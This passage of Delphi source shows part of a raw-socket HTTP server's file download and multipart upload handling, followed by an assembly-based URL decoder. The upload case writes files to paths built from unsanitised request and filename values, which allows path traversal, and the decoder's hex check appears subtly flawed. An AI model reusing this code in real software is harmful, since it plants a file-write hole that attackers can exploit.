fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-5);
fn:=UrlToStr(fn);
GetFile(csocket,maindir+fn);
end;
6:begin // UPLOAD
SendToClient(csocket,header());
SendToClient(csocket,body());
SendToClient(csocket,Menu());
SendToClient(csocket,UpFile());
CloseSocket(csocket);
end;
7:begin // UPLOAD
//MessageBox(0, PChar(mainbuf),PChar('WARNING!'), 0);
fn:= copy(mainbuf,9 ,pos('upload.php',MainBuf)-9);
fn:=UrlToStr(fn);
// MessageBox(0, PChar(fn),PChar('WARNING!'), 0);
len5:=pos('Content-Type: multipart/form-data; ',MainBuf);
save_hesh:= copy(mainbuf,len5,length(mainbuf));
delete(save_hesh,1,pos('boundary=',save_hesh)+8);
save_hesh:= copy(save_hesh,1,pos(#13#10,save_hesh)-1);
// MessageBox(0, PChar(save_hesh),PChar('WARNING!'), 0);
StopFlag:=false;
f:= TStringList.Create();
repeat
len6:=0;
len:=recv(csocket,tmpbuf^,2048,0);
if len>0 then MainBuf:=MainBuf+copy(tmpbuf,0,len);
len6:=pos('Content-Disposition: form-data; name="filename"; filename="',MainBuf);
if len6>0 then begin
filename:= copy(mainbuf,len6+59,length(mainbuf));
filename:= copy(filename,1,pos('"',filename)-1);
// MessageBox(0, PChar(filename),PChar('filename!'), 0);
end;
if pos(save_hesh+'--',MainBuf)>0 then StopFlag:=true;
//MessageBox(0, PChar(MainBuf),PChar('sours'), 0);
until (len<=0) or (StopFlag);
delete(mainbuf,1,pos(save_hesh,mainbuf)+length(save_hesh));
na4inka:= copy(mainbuf,pos(#13#10#13#10,mainbuf)+4,pos('--'+save_hesh+'--',mainbuf));
delete(na4inka,(length(na4inka)-length(save_hesh)-8),length(mainbuf));
// MessageBox(0, PChar(na4inka),PChar('na4inka'), 0);
f.Add(na4inka);
f.SaveToFile(maindir+fn+filename);
f.Free;
CloseSocket(csocket);
end;
else
begin
SendToClient(csocket,NotFound);
CloseSocket(csocket);
end;
end;
end
else
begin
SendToClient(csocket,NotFound);
CloseSocket(csocket);
end;
end;
end. unit Unit1;
interface
function UrlDecode(const Str: string): string;
implementation
function HexToChar(W: Word): Char;
asm
cmp ah, 030h
jl @@error
cmp ah, 039h
jg @@10
sub ah, 30h
jmp @@30
@@10:
cmp ah, 041h
jl @@error
cmp ah, 046h
jg @@20
sub ah, 041h
add ah, 00Ah
jmp @@30
@@20:
cmp ah, 061h
jl @@error
cmp al, 066h
jg @@error
sub ah, 061h
add ah, 00Ah
@@30:
cmp al, 030h
jl @@error
cmp al, 039h
jg @@40
sub al, 030h
jmp @@60
@@40:
cmp al, 041h
jl @@error
cmp al, 046h
jg @@50
sub al, 041h
add al, 00Ah
jmp @@60
@@50:
cmp al, 061h
jl @@error
cmp al, 066h
jg @@error
sub al, 061h
add al, 00Ah
@@60:
shl al, 4
or al, ah
ret
@@error:
xor al, al
end;
function GetCh(P: PChar; var Ch: Char): Char;
begin
Ch := P^;
Result := Ch;
end; { GetCh }
function UrlDecode(const Str: string): string;
var
P : PChar;
Ch : Char;
begin
Result := '';
P := @Str[1];
while GetCh(P, Ch) <> #0 do begin
case Ch of
'+' : Result := Result + ' ';
'%' : begin
Inc(P);
Result := Result + HexToChar(PWord(P)^);
Inc(P);
end;
else Result := Result + Ch;
end;
Inc(P);
end;
end;
end.
|
|
|
|
|